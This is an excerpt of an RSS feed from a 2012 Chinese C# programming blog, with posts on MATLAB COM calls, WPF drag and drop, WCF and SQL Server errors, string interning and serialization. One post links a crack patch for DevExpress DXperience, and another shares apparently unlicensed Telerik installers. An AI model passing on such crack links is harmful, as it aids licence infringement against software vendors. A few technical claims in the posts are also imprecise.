&lt;p&gt;很简单。Visible设置可见性。。command表示要执行的命令。&lt;/p&gt;
&lt;p&gt;另一种是&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;MLApp.DIMLApp matlab = null;  
Type matlabAppType = System.Type.GetTypeFromProgID(&#34;Matlab.Application&#34;);  
matlab = System.Activator.CreateInstance(matlabAppType) as MLApp.DIMLApp;  
matlab.Visible = 1;  
string command=&#34;figure(2)&#34;;
matlab.Execute(command);  
matlab.Quit();&lt;/pre&gt; 
&lt;p&gt;不知什么原因，第一种方法我没有调用成功。第二种调用成功。欢迎讨论。&lt;/p&gt;</description>
    </item>
    <item>
      <title>WPF实现控件拖动效果</title>
      <link>http://blog.leaver.me/2012/07/27/wpf%E5%AE%9E%E7%8E%B0%E6%8E%A7%E4%BB%B6%E6%8B%96%E5%8A%A8%E6%95%88%E6%9E%9C/</link>
      <pubDate>Fri, 27 Jul 2012 07:18:40 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/27/wpf%E5%AE%9E%E7%8E%B0%E6%8E%A7%E4%BB%B6%E6%8B%96%E5%8A%A8%E6%95%88%E6%9E%9C/</guid>
      <description>&lt;p&gt;首先很简单，当然是去添加两个控件了，这里我添加了两个控件，都是label，然后我想实现的是将label1拖动到label2上的时候，label1的内容会被复制到label2上。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt; &amp;lt;Label Content=&#34;TestDrop&#34; 
Height =&#34;28&#34; HorizontalAlignment=&#34;Left&#34; Margin=&#34;70,35,0,0&#34; Name =&#34;label1&#34; 
VerticalAlignment=&#34;Top&#34; MouseDown=&#34;label1_MouseDown&#34;  /&amp;gt;

&amp;lt;Label Content =&#34;ToHere&#34; Height=&#34;28&#34; HorizontalAlignment=&#34;Left&#34; 
Margin =&#34;342,107,0,0&#34; Name=&#34;label2&#34; VerticalAlignment=&#34;Top&#34; AllowDrop =&#34;True&#34;
 Drop=&#34;tagert_drop&#34;   /&amp;gt;&lt;/pre&gt; 
&lt;p&gt;需要注意的代码是label1中的MouseDown事件。和label2中的AllowDrop =&amp;ldquo;True&amp;rdquo;  Drop=&amp;ldquo;tagert_drop&amp;rdquo;&lt;/p&gt;
&lt;p&gt;然后对应的处理事件&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;     private void label1_MouseDown(object sender, MouseButtonEventArgs e)
        {
            Label lbl = (Label )sender;
            DragDrop.DoDragDrop(lbl, lbl.Content, DragDropEffects .Copy);
        }

        private void tagert_drop(object sender, DragEventArgs e)
        {
            (( Label)sender).Content = e.Data.GetData(DataFormats.Text);
        }&lt;/pre&gt; 
&lt;p&gt;其他的效果可以仿照这个来做。比如拖动以后的效果可以DragDropEffects来设置。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>DevExpress DXperience Universal 12.1.5 破解补丁</title>
      <link>http://blog.leaver.me/2012/07/21/devexpress-dxperience-universal-12.1.5-%E7%A0%B4%E8%A7%A3%E8%A1%A5%E4%B8%81/</link>
      <pubDate>Sat, 21 Jul 2012 12:08:08 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/21/devexpress-dxperience-universal-12.1.5-%E7%A0%B4%E8%A7%A3%E8%A1%A5%E4%B8%81/</guid>
      <description>&lt;p&gt;　　因为要用到wpf开发软件，而作为一个审美能力和制作美的能力完全不匹配的人。。需要有一个基本的主题框架来作为基础进行开发。。于是我找了找。。刚开始找的是http://www.telerik.com/这个商业库，不过这个用的不太顺手，于是还是试试DevExpress，，果断很不错，找到了破解补丁。
给一个官方的Demo示例图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/25025_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5de045da9ce167999bd9e8df93580d0c93579daf.jpg&#34; title=&#34;Demo&#34;&gt;&lt;/a&gt;
安装文件：&lt;a href=&#34;http://downloads.devexpress.com/d0577ccc-5137-4622-b397-a128d153f2aa/0.0.0.0/DXperience/2012.1/5/DXperience-12.1.5.exe&#34;&gt;DXperience-12.1.5安装包&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;帮助文档：&lt;a href=&#34;http://downloads.devexpress.com/24614371-d026-41ab-89c8-b2c3769f9059/0.0.0.0/DXperience/2012.1/Help/DXperienceHelp2010-12.1.5.exe&#34;&gt;DXperience 12.1.5 Universal 帮助文档&lt;/a&gt;：&lt;/p&gt;
&lt;p&gt;破解补丁：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=34831&amp;amp;uk=1493685990&#34;&gt;DevExpress.Registration.Setup.v12.1.5.E3.msi&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>未能加载文件或程序集“App_Web_xxxx”</title>
      <link>http://blog.leaver.me/2012/07/14/%E6%9C%AA%E8%83%BD%E5%8A%A0%E8%BD%BD%E6%96%87%E4%BB%B6%E6%88%96%E7%A8%8B%E5%BA%8F%E9%9B%86app_web_xxxx/</link>
      <pubDate>Sat, 14 Jul 2012 23:18:13 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/14/%E6%9C%AA%E8%83%BD%E5%8A%A0%E8%BD%BD%E6%96%87%E4%BB%B6%E6%88%96%E7%A8%8B%E5%BA%8F%E9%9B%86app_web_xxxx/</guid>
      <description>&lt;p&gt;　　今天在用WCF写服务的时候，服务一直连不上，直接查看svc文件，发现如下错误
未能加载文件或程序集“&amp;lsquo;App_Web_****, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null&amp;quot;,****是一个随机字符串。&lt;/p&gt;
&lt;p&gt;解决方法中：&lt;/p&gt;
&lt;p&gt;　　在web.config里配置成这样子：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt; &amp;lt;compilation debug=&#34;true&#34; batch=&#34;false&#34;&amp;gt;&lt;/pre&gt;
&lt;p&gt;　　就好了。中午和下午一直在搞javascript连接WCF的demo，总算是晚上搞定了，，还是老样子，，最大的体会就是很多东西就是看着简单，写起来会有各种各样的问题，比如这次，即使照着微软的官方文档来，也会有错误。动手才是王道，不管做什么。这几天忙完了，写篇文章出来。&lt;/p&gt;
&lt;p&gt;　　最后分享一下微软官方的&lt;a href=&#34;http://www.microsoft.com/china/msdn/events/webcasts/shared/webcast/Series/WCF_Ajax.aspx&#34;&gt;WCF与Ajax开发实践系列课程&lt;/a&gt;，我只能说WCF这东西没有哪一本书比微软官方的技术培训讲的更好了，非常建议学习。&lt;/p&gt;
&lt;p&gt;　　武汉最近下雨了，天气挺凉爽，过几天准备回家吧。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>SQLServer超时时间已到解决和一套控件库</title>
      <link>http://blog.leaver.me/2012/07/13/sqlserver%E8%B6%85%E6%97%B6%E6%97%B6%E9%97%B4%E5%B7%B2%E5%88%B0%E8%A7%A3%E5%86%B3%E5%92%8C%E4%B8%80%E5%A5%97%E6%8E%A7%E4%BB%B6%E5%BA%93/</link>
      <pubDate>Fri, 13 Jul 2012 08:36:56 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/13/sqlserver%E8%B6%85%E6%97%B6%E6%97%B6%E9%97%B4%E5%B7%B2%E5%88%B0%E8%A7%A3%E5%86%B3%E5%92%8C%E4%B8%80%E5%A5%97%E6%8E%A7%E4%BB%B6%E5%BA%93/</guid>
      <description>&lt;p&gt;　　在最近的一个程序中，因为频繁的操作数据库，莫名的出现了如下的错误：&lt;/p&gt;
&lt;p&gt;　　超时时间已到。超时时间已到，但是尚未从池中获取连接。出现这种情况可能是因为所有池连接均在使用，并且达到了最大池大小。&lt;/p&gt;
&lt;p&gt;　　说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。&lt;/p&gt;
&lt;p&gt;　　异常详细信息: System.InvalidOperationException: 超时时间已到。超时时间已到，但是尚未从池中获取连接。出现这种情况可能是因为所有池连接均在使用，并且达到了最大池大小。&lt;/p&gt;
&lt;p&gt;　　按理说这应该是没有关闭数据库连接或者dataset，可是查了一下。发现都关了啊。遂可以表述为原因不明，但是通过在数据库连接字符串中添加max pool size=512  这个数字可以自己设。就可以了&lt;/p&gt;
&lt;p&gt;　　这篇文章短是短了点。。好吧。那顺带分享一套非常精美的C#控件。
&lt;a href=&#34;http://115.com/file/dptqnr63#RadControls-WinForms-2012-2-608-Dev.msi&#34;&gt;RadControls-For-WinForms 控件2012&lt;/a&gt;
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/24794_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/35b3a6023ad34c4bab5564678dffabbcdd53a5da.jpg&#34; title=&#34;wpf&#34;&gt;&lt;/a&gt;
&lt;a href=&#34;http://115.com/file/e79q6pju#RadControls-for-WPF-2012-2-0607-Dev.msi&#34;&gt;RadControls-for-WPF控件2012&lt;/a&gt;
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/24793_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c3f1eeb8b01e38643d7ce0d2e2716bba20285943.jpg&#34; title=&#34;winform&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>C# 线程优秀文章汇总</title>
      <link>http://blog.leaver.me/2012/07/11/c%23-%E7%BA%BF%E7%A8%8B%E4%BC%98%E7%A7%80%E6%96%87%E7%AB%A0%E6%B1%87%E6%80%BB/</link>
      <pubDate>Wed, 11 Jul 2012 14:04:07 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/11/c%23-%E7%BA%BF%E7%A8%8B%E4%BC%98%E7%A7%80%E6%96%87%E7%AB%A0%E6%B1%87%E6%80%BB/</guid>
      <description>&lt;p&gt;最近在看线程的东西，整理一些文档以便学习。分享。&lt;/p&gt;
&lt;h3 id=&#34;刚刚&#34;&gt;&lt;a href=&#34;http://www.cnblogs.com/xugang&#34;&gt;刚刚&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://kb.cnblogs.com/page/42528&#34;&gt;C#多线程学习(一) 多线程的相关概念&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://kb.cnblogs.com/page/42529&#34;&gt;C#多线程学习(二) 如何操纵一个线程&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://kb.cnblogs.com/page/42530&#34;&gt;C#多线程学习(三) 生产者和消费者&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://kb.cnblogs.com/page/42531&#34;&gt;C#多线程学习(四) 多线程的自动管理(线程池)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://kb.cnblogs.com/page/42532&#34;&gt;C#多线程学习(五) 多线程的自动管理(定时器)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://kb.cnblogs.com/page/42533&#34;&gt;C#多线程学习(六) 互斥对象&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/xugang/archive/2011/03/20/1989782.html&#34;&gt;C# 实现多线程的同步方法详解&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;jimmyzheng&#34;&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng&#34;&gt;JimmyZheng&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/06/10/2543143.html&#34;&gt;C# 温故而知新： 线程篇(一)&lt;/a&gt; &lt;strong&gt;Thread&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/07/07/2580253.html&#34;&gt;C# 温故而知新： 线程篇(二)&lt;/a&gt; 线程池和异步线程&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;zhoufoxcn&#34;&gt;&lt;a href=&#34;http://blog.csdn.net/zhoufoxcn&#34;&gt;zhoufoxcn&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/zhoufoxcn/article/details/4402999&#34;&gt;C#多线程编程（1）：线程的启动&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/zhoufoxcn/article/details/5170815&#34;&gt;多线程编程(2)：线程的同步&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/zhoufoxcn/article/details/5177579&#34;&gt;多线程编程(3)：线程池ThreadPool&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/zhoufoxcn/article/details/5205690&#34;&gt;多线程编程(4)：多线程与UI操作&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/zhoufoxcn/article/details/2453803&#34;&gt;一个简单的C#多线程间同步的例子&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;老赵&#34;&gt;&lt;a href=&#34;http://www.cnblogs.com/JeffreyZhao&#34;&gt;老赵&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JeffreyZhao/archive/2009/07/22/thread-pool-1-the-goal-and-the-clr-thread-pool.html&#34;&gt;浅谈线程池（上）：线程池的作用及CLR线程池&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JeffreyZhao/archive/2009/07/24/thread-pool-2-dedicate-pool-and-io-pool.html&#34;&gt;浅谈线程池（中）：独立线程池的作用及IO线程池&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JeffreyZhao/archive/2009/10/20/thread-pool-3-lab.html&#34;&gt;浅谈线程池（下）：相关试验及注意事项&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;bloodish&#34;&gt;&lt;a href=&#34;http://www.cnblogs.com/bloodish&#34;&gt;bloodish&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/bloodish/archive/2011/03/21/1990025.html&#34;&gt;C# Tip &amp;ndash; 如何优雅的控制线程状态&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;autumoon&#34;&gt;&lt;a href=&#34;http://www.cnblogs.com/Autumoon&#34;&gt;Autumoon&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/Autumoon/archive/2008/06/19/1225684.html&#34;&gt;白话多线程&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>C#中的Array和ArrayList</title>
      <link>http://blog.leaver.me/2012/07/11/c%23%E4%B8%AD%E7%9A%84array%E5%92%8Carraylist/</link>
      <pubDate>Wed, 11 Jul 2012 12:51:03 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/11/c%23%E4%B8%AD%E7%9A%84array%E5%92%8Carraylist/</guid>
      <description>&lt;p&gt;数组是最基础的数据结构。ArrayList可以看作是Array的复杂版本。下面比较两者的异同&lt;/p&gt;
&lt;h3 id=&#34;比较&#34;&gt;比较：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;h3 id=&#34;相同点&#34;&gt;相同点：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Array和ArrayList均实现了相同的接口，因此具有许多相同的操作方法，例如对自身进行枚举，能够以foreach语句遍历。
Array和ArrayList创建的对象均保存在托管堆中。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;不同点&#34;&gt;不同点：&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;Array只能存储同构对象，当然，声明为Object类型的数组除外，因为任何类型都可以隐式转换成Object类型。ArrayList可以存储异构对象，这是因为本质上ArrayList内部维护着一个object[] items类型的字段，在应用ArrayList时，应该考虑装箱和拆箱所带来的性能损失。一般情况下，Array的性能高于ArrayList。&lt;/li&gt;
&lt;li&gt;Array可以是一维的，也可以是多维的，而ArrayList只能是一维的。&lt;/li&gt;
&lt;li&gt;Array的容量是固定的。一旦声明，不可更改，而ArrayList容量动态增加，当添加元素超过初始容量时，ArrayList会根据需要重新分配。而且可以通过TrimToSize删除空项来压缩体积。其实，除了Array外，其他集合类都是可以动态增加的。&lt;/li&gt;
&lt;li&gt;Array的下限可以设置，而ArrayList下限只能是0.&lt;/li&gt;
&lt;li&gt;Array只有简单的方法来获取或设置元素值，不能随意增加或删除数组元素，而ArrayList提供了更多的方法来操作元素，可以方便的插入或删除指定位置上的元素。一般可以用ArrayList代替Array.
tip：List泛型类对应于ArrayList。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>C#中的抽象类和接口</title>
      <link>http://blog.leaver.me/2012/07/10/c%23%E4%B8%AD%E7%9A%84%E6%8A%BD%E8%B1%A1%E7%B1%BB%E5%92%8C%E6%8E%A5%E5%8F%A3/</link>
      <pubDate>Tue, 10 Jul 2012 20:25:51 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/10/c%23%E4%B8%AD%E7%9A%84%E6%8A%BD%E8%B1%A1%E7%B1%BB%E5%92%8C%E6%8E%A5%E5%8F%A3/</guid>
      <description>&lt;p&gt;本文同样是笔记整理，手动输入一遍和看书的感觉还是很不一样的。文章非常好，讲的很清楚。&lt;/p&gt;
&lt;h3 id=&#34;什么是接口&#34;&gt;什么是接口？&lt;/h3&gt;
&lt;p&gt;　　　接口是包含一组虚方法的抽象类型，其中每一种方法都有其名称、参数和返回值。接口方法不能包含任何实现，CLR允许接口可以包含事件、属性、索引器、静态方法、静态字段、静态构造函数以及常数。但是注意：&lt;strong&gt;C#中不能包含任何静态成员&lt;/strong&gt;。一个类可以实现多个接口，当一个类继承某个接口时，它不仅要实现该接口定义的所有方法，还要实现该接口从其他接口中继承的&lt;strong&gt;所有&lt;/strong&gt;方法。&lt;/p&gt;
&lt;h3 id=&#34;什么是抽象类&#34;&gt;什么是抽象类？&lt;/h3&gt;
&lt;p&gt;　　　抽象类提供多个派生类共享基类的公共定义，它既可以提供抽象方法，也可以提供非抽象方法。抽象类不能实例化，必须通过继承由派生类实现其抽象方法，因此对抽象类不能使用new关键字，也不能被密封。如果派生类没有实现所有的抽象方法，则该派生类也必须声明为抽象类。另外，实现抽象方法由override方法来实现。&lt;/p&gt;
&lt;h3 id=&#34;比较&#34;&gt;比较&lt;/h3&gt;
&lt;blockquote&gt;
&lt;h3 id=&#34;相同点&#34;&gt;相同点&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;都不能被直接实例化，都可以通过继承实现其抽象方法。&lt;/li&gt;
&lt;li&gt;都是面向抽象编程的技术基础，实现了诸多的设计模式。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;不同点&#34;&gt;不同点&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;接口&lt;strong&gt;支持&lt;/strong&gt;多继承；抽象类不能实现多继承。&lt;/li&gt;
&lt;li&gt;接口只能定义抽象规则；抽象类既可以定义规则，还可能提供已实现的成员。&lt;/li&gt;
&lt;li&gt;接口是一组行为规范；抽象类是一个不完全的类，着重族的概念。&lt;/li&gt;
&lt;li&gt;接口可以用于支持回调；抽象类不能实现回调，因为继承不支持。&lt;/li&gt;
&lt;li&gt;接口只包含方法、属性、索引器、事件的签名，但不能定义字段和包含实现的方法；抽象类可以定义字段、属性、包含有实现的方法。&lt;/li&gt;
&lt;li&gt;接口可以作用于值类型和引用类型；抽象类只能作用于引用类型。例如，Struct就可以继承接口，而不能继承类。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;规则与场合&#34;&gt;规则与场合&lt;/h3&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;请记住，面向对象思想的一个最重要的原则就是：&lt;strong&gt;面向接口编程&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;借助接口和抽象类，23个设计模式中的很多思想被巧妙的实现了，精髓就是面向抽象编程，通过封装变化来实现实体之间的关系。&lt;/li&gt;
&lt;li&gt;抽象类应主要用于关系密切的对象，而接口最适合为不相关的类提供通用功能。&lt;/li&gt;
&lt;li&gt;接口着重于CAN-DO关系类型，而抽象类则偏重于IS-A式的关系；&lt;/li&gt;
&lt;li&gt;接口多定义对象的行为；抽象类多定义对象的属性；&lt;/li&gt;
&lt;li&gt;接口定义可以使用public、protected、internal 和private修饰符，但是几乎所有的接口都定义为public，另外方法的访问级别不能低于接口的访问级别，否则可能导致编译错误。&lt;/li&gt;
&lt;li&gt;“接口不变”，是应该考虑的重要因素。所以，在由接口增加扩展时，应该增加新的接口，而不能更改现有接口。&lt;/li&gt;
&lt;li&gt;尽量将接口设计成功能单一的功能块，以.NET Framework为例，IDisposable、IDisposable、IComparable、IEquatable、IEnumerable等都只包含一个公共方法。&lt;/li&gt;
&lt;li&gt;接口名称前面的大写字母“I”是一个约定，正如字段名以下划线开头一样，请坚持这些原则。&lt;/li&gt;
&lt;li&gt;在接口中，所有的方法都默认为public。&lt;/li&gt;
&lt;li&gt;如果预计会出现版本问题，可以创建“抽象类”。而向接口中添加新成员则会强制要求修改所有派生类，并重新编译，所以版本式的问题最好以抽象类来实现。&lt;/li&gt;
&lt;li&gt;从抽象类派生的非抽象类必须包括继承的所有抽象方法和抽象访问器的实实现。&lt;/li&gt;
&lt;li&gt;对抽象类不能使用new关键字，也不能被密封，原因是抽象类不能被实例化。&lt;/li&gt;
&lt;li&gt;在抽象方法声明中不能使用 static 或 virtual 修饰符。
最后还是要勤于键盘，才能深入理解啊。&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;参考：&lt;a href=&#34;http://www.cnblogs.com/anytao/archive/2007/04/12/must_net_02.html&#34;&gt;对抽象编程：接口和抽象类&lt;/a&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>C#中的字符串驻留</title>
      <link>http://blog.leaver.me/2012/07/08/c%23%E4%B8%AD%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%A9%BB%E7%95%99/</link>
      <pubDate>Sun, 08 Jul 2012 20:57:11 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/08/c%23%E4%B8%AD%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%A9%BB%E7%95%99/</guid>
      <description>&lt;p&gt;字符串string可以理解为char[]，他是一个引用类型。&lt;/p&gt;
&lt;h3 id=&#34;字符串创建&#34;&gt;字符串创建&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;操作上类似于int，char等类型，直接进行赋值，string str=&amp;ldquo;bystander&amp;rdquo;;虽然string 是个类，但是如果你天真的使用&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;string str=new string(&#34;bystander&#34;);&lt;/pre&gt;
&lt;p&gt;来构造，会导致一个编译错误。因为System.String只提供了数个接受Char*，Char[]类型参数的构造函数。
所以只能像下面这样使用，&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;Char[] cs={&#39;b&#39;,&#39;y&#39;,&#39;e&#39;};
String str=new String(cs);&lt;/pre&gt;
&lt;p&gt;看出来了吧，很麻烦的。所以一般还是使用第一种。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;字符串恒定性&#34;&gt;字符串恒定性&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;恒定性(Immutability)，是指字符串一经创建，就不可改变，这是String最为重要的特性之一。具体来说，就是字符串一旦创建，就会在托管堆上分配一块连续的内存空间，我们对其的任何改变都不会影响到原有的String对象，而是重新创建的新的String对象。类似Insert，Substring，ToUpper都只是创建出了新的临时的字符串，会成为下次垃圾回收的目标。
好处：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;保证了对String对象的任何操作不会改变源字符串。&lt;/li&gt;
&lt;li&gt;恒定性还意味着操作字符串不会出现线程同步问题&lt;/li&gt;
&lt;li&gt;恒定性一定程度上，成就了字符串驻留。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;字符串驻留&#34;&gt;字符串驻留&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;CLR维护一个表来存放字符串，该表叫做拘留表（或驻留池），他包含程序上以编程方式声明或创建的每一个唯一的字符串的引用，因此具有特定值的实例在系统中只有一个。如果将同一个字符串分配给多个变量，那么CLR就会向拘留池检索相同引用，并分配给变量。&lt;/p&gt;
&lt;p&gt;通过下面这个例子来说明：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;class StringInterning
{
     public static void Main()
        { 
            string strA = &#34;bystander&#34;;
            string strB = &#34;bystander&#34;;
            Console.WriteLine(ReferenceEquals(strA,strB));
            string strC = &#34;by&#34;;
            string strD = strC+&#34;stander&#34;;
            Console.WriteLine(ReferenceEquals(strA,strD));
            strD=String.Intern(strD);
            Console.WriteLine(ReferenceEquals(strA,strD));
        }
}&lt;/pre&gt;
&lt;p&gt;猜猜答案是什么。。
正确答案是：True，False，True
为什么不是我们通常认为的那样呢。这就是因为字符串驻留了&lt;/p&gt;
&lt;h3 id=&#34;缘起&#34;&gt;缘起&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;String类型的特性恒定性，对字符串的任何操作都只会创建新的字符串，这会导致性能下降，而String又用的很频繁，为此，CLR使用字符串驻留来解决这一问题。为此，CLR内部维护一个哈希表，来管理其创建的大部分string对象。其中Key为string本身，Value为分配给对应的string的内存地址。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&#34;细节&#34;&gt;细节&lt;/h3&gt;
&lt;blockquote&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;string strA = &#34;bystander&#34;;&lt;/pre&gt;
&lt;p&gt;　　CLR初始化时，创建一个空的哈希表，当JIT编译方法的时候，会首先在哈希表中查找每一个字符串常量，显然找不到任何&amp;quot;bystander&amp;quot;变量，因此会在托管堆中创建一个新的string对系那个strA，并更新哈希表，Key被赋值为&amp;quot;bystander&amp;quot;,Value被赋值为strA的引用.也就是Value内保留了&amp;quot;bystander&amp;quot;在托管堆中的引用地址.&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;string strB = &#34;bystander&#34;;&lt;/pre&gt;
&lt;p&gt;　　接着,JIT根据&amp;quot;bystander&amp;quot;查找哈希表,结果找到了,所以JIT不做操作,只把找到的key对应的Value值赋给了strB对象.因此,第一个输出为true,引用相等.&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt; string strC = &#34;by&#34;;
 string strD = strC+&#34;stander&#34;;&lt;/pre&gt;
&lt;p&gt;　　同样,JIT向哈希表中添加了Key为&amp;quot;by&amp;quot;,Value为托管堆上&amp;quot;by&amp;quot;的地址.返回strC对象.但是注意,strD不同,JIT不检测,因为strD他是动态生成的.这样的字符串不会被添加到哈希表中进行维护,而是在托管堆中直接分配,所以第二个Console输出False.&lt;/p&gt;
&lt;p&gt;　　对于第三个,我们首先看看Intern方法和IsInterned方法,对于动态生成的字符串,因为没有添加到CLR维护的哈希表,所以字符串驻留机制对其失效,但是可以手工开启,来实现高效的比较字符串相等.&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;public static string Intern(string str)
public static string IsInterned(string str)&lt;/pre&gt;
&lt;p&gt;　　两者的机制都是去哈希表中查找是否存在str字符串,找到的话也都返回对str的引用,不同的是当哈希表中没有str的话,IsInterned返回null,而Intern将把这个字符串添加到哈希表,并返回引用.注意,IsInterned返回非null并不代表两个字符串引用了相同的地址.
所以&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34;&gt;strD=String.Intern(strD);
Console.WriteLine(ReferenceEquals(strA,strD));&lt;/pre&gt;
&lt;p&gt;就很好理解了.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;</description>
    </item>
    <item>
      <title>C#中XML和二进制的序列化</title>
      <link>http://blog.leaver.me/2012/07/07/c%23%E4%B8%ADxml%E5%92%8C%E4%BA%8C%E8%BF%9B%E5%88%B6%E7%9A%84%E5%BA%8F%E5%88%97%E5%8C%96/</link>
      <pubDate>Sat, 07 Jul 2012 18:30:23 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/07/c%23%E4%B8%ADxml%E5%92%8C%E4%BA%8C%E8%BF%9B%E5%88%B6%E7%9A%84%E5%BA%8F%E5%88%97%E5%8C%96/</guid>
      <description>&lt;p&gt;看书的时候，看到的。然后感觉书上的写的不清楚，于是自己写了一下。还真的有问题。
要进行序列化和反序列化，首先要定义一个可以序列化的类，方法是在类的声明前加上特性
[Serializable]
定义了一个简单的用户类，需要注意的是私有字段是不能序列化的，只有公有字段和公有属性才可以。如下&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;[Serializable]  //特性，可以序列化
    public class UserData
    {
        public string Name;
        public int Age;
        private string sex;
        public string Sex
        {
            set{sex=value;}
            get{return sex;}
        }
        public UserData() 
        { 
        }
        public UserData(string name, int age, string sex)
        {
            Name = name;
            Age = age;
            Sex = sex;
        }
    }&lt;/pre&gt; 
